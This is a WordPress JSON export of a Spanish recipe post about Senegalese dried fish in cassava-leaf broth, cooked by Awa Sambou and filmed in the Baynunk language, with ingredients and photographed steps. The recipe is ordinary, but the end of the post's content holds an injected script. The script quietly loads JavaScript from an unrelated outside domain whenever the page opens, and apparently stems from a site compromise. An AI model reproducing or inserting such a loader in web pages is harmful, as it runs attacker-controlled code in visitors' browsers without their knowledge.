{"id":44311,"date":"2011-03-25T09:47:11","date_gmt":"2011-03-25T07:47:11","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=44311"},"modified":"2025-10-21T23:06:27","modified_gmt":"2025-10-21T21:06:27","slug":"pescado-seco-en-caldo-de-hojas-de-mandioca","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/03\/pescado-seco-en-caldo-de-hojas-de-mandioca\/","title":{"rendered":"Pescado seco en caldo de hojas de mandioca"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Receta de pescado seco en caldo de hojas de mandioca, por Awa Sambou<\/h5>\n<p style=\"text-align: justify;\">Hace apenas un mes, empezamos a proponerles una <strong> nueva r\u00fabrica\u2026 \u00a1las recetas de cocina! <\/strong>Esta serie comenz\u00f3 con una receta de pescado venida de Gab\u00f3n y realizada en lengua mpongw\u00e8 por Henriette: la receta de barbudo ahumado en caldo de fruto de palma.<\/p>\n<p style=\"text-align: justify;\">Esta vez, cambiamos de pa\u00eds, ya que el plato que pedimos que fuera preparado es un plato de <strong>Senegal<\/strong>, pero seguimos con el mismo tipo de receta, en la cual el pescado es el ingrediente principal, acompa\u00f1ado del caldo que contiene fruto de palma.<\/p>\n<p style=\"text-align: justify;\">Pero este es el \u00fanico parecido: el <strong>pescado<\/strong> <strong>en esta receta est\u00e1 seco<\/strong> y no ahumado, y el <strong>caldo est\u00e1 preparado a partir de hojas de mandioca<\/strong>. Todo se sirve con arroz local, el arroz de Niamone, plegado finamente.<\/p>\n<p style=\"text-align: justify;\">Y <strong>Awa Sambou<\/strong> es quien hace que se nos haga agua la boca. En las bellas im\u00e1genes de Muriel Lutz, \u00e9sta nos presenta sus utensilios y los ingredientes, luego nos entrega sus secretos de cocina, en lengua baynunk de Casamanza.<\/p>\n<p><a href=\"https:\/\/www.sorosoro.org\/es\/videos-en-lengua-bainunk-%E2%80%93-senegal\">Ver todos los v\u00eddeos en baynunk<\/a><br \/>\n<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/7fqnX0JY_XQ?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/7fqnX0JY_XQ?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<span style=\"text-decoration: underline;\">Ling\u00fcista<\/span>: Sokhna Bao-Diop<br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido<\/span>: Muriel Lutz ayudada por Cheikh Tidiane Sall<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<br \/>\nVideo realizado en el marco del proyecto <em>S\u00e9n\u00e9langues<\/em><\/p>\n<p>Video realizado en el marco del proyecto <em>S\u00e9n\u00e9langues<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<h3><span style=\"color: #000000;\">Para realizar esta receta en su casa:<\/span><\/h3>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><span style=\"text-decoration: underline;\"><strong>Ingredientes:<\/strong><\/span><\/p>\n<p>Un manojo de hojas de mandioca<\/p>\n<p>Una cesta de nuez de palma<\/p>\n<p>Algunos tomates<\/p>\n<p>Algunas cabezas de ajo<\/p>\n<p>Tres coles peque\u00f1as<\/p>\n<p>Una cebolla<\/p>\n<p>Una berenjena<\/p>\n<p>Guindillas rojas secas<\/p>\n<p>4 pimientos frescos grandes (rojos y\/o verdes)<\/p>\n<p>Pescado seco<\/p>\n<p>Sal<\/p>\n<p>Arroz machacado para la guarnici\u00f3n (de preferencia proveniente de los arrozales de Niamone\u2026)<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><span style=\"text-decoration: underline;\"><strong>Realizaci\u00f3n (cuidado con no perder el hilo\u2026):<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44668 alignright\" title=\"manioc pil\u00e9\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/manioc-pil\u00e9-300x147.jpg\" alt=\"manioc pil\u00e9\" width=\"300\" height=\"147\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/manioc-pil\u00e9-300x147.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/manioc-pil\u00e9.JPG 850w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Separar las hojas de mandioca de sus tallos luego machacarlas hasta hacerlas pur\u00e9. Salar, y ponerlo a cocer en una olla grande con un poco de agua, cubrir.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44669 alignright\" title=\"noix pil\u00e9es2\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/noix-pil\u00e9es2-300x148.jpg\" alt=\"noix pil\u00e9es2\" width=\"300\" height=\"148\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/noix-pil\u00e9es2-300x148.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/noix-pil\u00e9es2.JPG 718w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Machacar las nueces de palma a\u00f1adiendo agua caliente de vez en cuando para extraer el zumo. Colar bien y repetirlo muchas veces para retirar las fibras y los huesos. A\u00f1adir el zumo obtenido de las hojas de mandioca, y dejar hervir<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44670 alignright\" title=\"couscoussier\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/couscoussier-300x141.jpg\" alt=\"couscoussier\" width=\"300\" height=\"141\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/couscoussier-300x141.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/couscoussier.JPG 434w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Enjuagar bien el arroz y ponerlo luego a cocer en una cuscusera.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44671 alignright\" title=\"l\u00e9gumes coup\u00e9d\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/l\u00e9gumes-coup\u00e9d-300x146.jpg\" alt=\"l\u00e9gumes coup\u00e9d\" width=\"300\" height=\"146\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/l\u00e9gumes-coup\u00e9d-300x146.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/l\u00e9gumes-coup\u00e9d.JPG 848w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Mientras que la salsa y el arroz se cuecen prudentemente, preparar las verduras: pelar las peque\u00f1as coles, cortarlas &#8211; as\u00ed como la berenjena &#8211; en cuatro a lo largo, pelar la cebolla y el ajo. Enjuagar todas las verduras con agua clara.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44672 alignright\" title=\"ajout l\u00e9gumes\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-l\u00e9gumes-300x157.jpg\" alt=\"ajout l\u00e9gumes\" width=\"300\" height=\"157\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-l\u00e9gumes-300x157.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-l\u00e9gumes.JPG 796w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Una vez que el caldo haya se reducido un poco, agregar la berenjena, la col y los 4 pimientos frescos, y dejar cocer.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-44673 alignright\" title=\"ajout tomate\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-tomate-300x146.jpg\" alt=\"ajout tomate\" width=\"300\" height=\"146\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-tomate-300x146.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/ajout-tomate.JPG 849w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Machacar los tomates junto con la cebolla, el ajo y las guindillas secas, y a\u00f1adir todo al caldo.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-44676\" title=\"poisson\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/poisson-300x147.jpg\" alt=\"poisson\" width=\"300\" height=\"147\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/poisson-300x147.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/poisson.JPG 516w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Finalmente, preparar el pescado: \u00a1no olvide retirar las espinas! Separar los filetes, enjuagarlos con agua clara y a\u00f1adirlos al caldo. Dejar que espese lentamente.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-44677\" title=\"riz pr\u00e9cuit\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/riz-pr\u00e9cuit-300x147.jpg\" alt=\"riz pr\u00e9cuit\" width=\"300\" height=\"147\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/riz-pr\u00e9cuit-300x147.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/riz-pr\u00e9cuit.JPG 840w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Cuando el arroz est\u00e9 precocinado: trasladarlo en una olla, separar los granos y a\u00f1adir agua salada (el agua debe cubrir el arroz a m\u00e1s de 2cm aproximadamente). Cubrir y volver a poner en el fuego hasta que absorba el agua.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-44681\" title=\"sauce cuit\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/sauce-cuit-300x166.jpg\" alt=\"sauce cuit\" width=\"300\" height=\"166\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/sauce-cuit-300x166.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/sauce-cuit.JPG 836w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">&#8211; Regresemos al caldo: salarlo, probarlo y dejarlo cocer a fuego lento, que la tapa no cubra completamente la olla, para que el caldo espese\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-44682\" title=\"fini\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/fini-300x147.jpg\" alt=\"fini\" width=\"300\" height=\"147\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/fini-300x147.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/fini.JPG 851w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a1No queda m\u00e1s que degustar sirviendo el caldo en el pescado y en las verduras sobre una capa de arroz!<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Si usted se cansa del pescado seco, otras variantes son posibles: res, pollo, pescado fresco, cangrejo, gambas\u2026 De hecho, como lo dice Awa, \u00a1esto funciona con todo!<\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Receta de pescado seco en caldo de hojas de mandioca, por Awa Sambou Hace apenas un mes, empezamos a proponerles una nueva r\u00fabrica\u2026 \u00a1las recetas de cocina! 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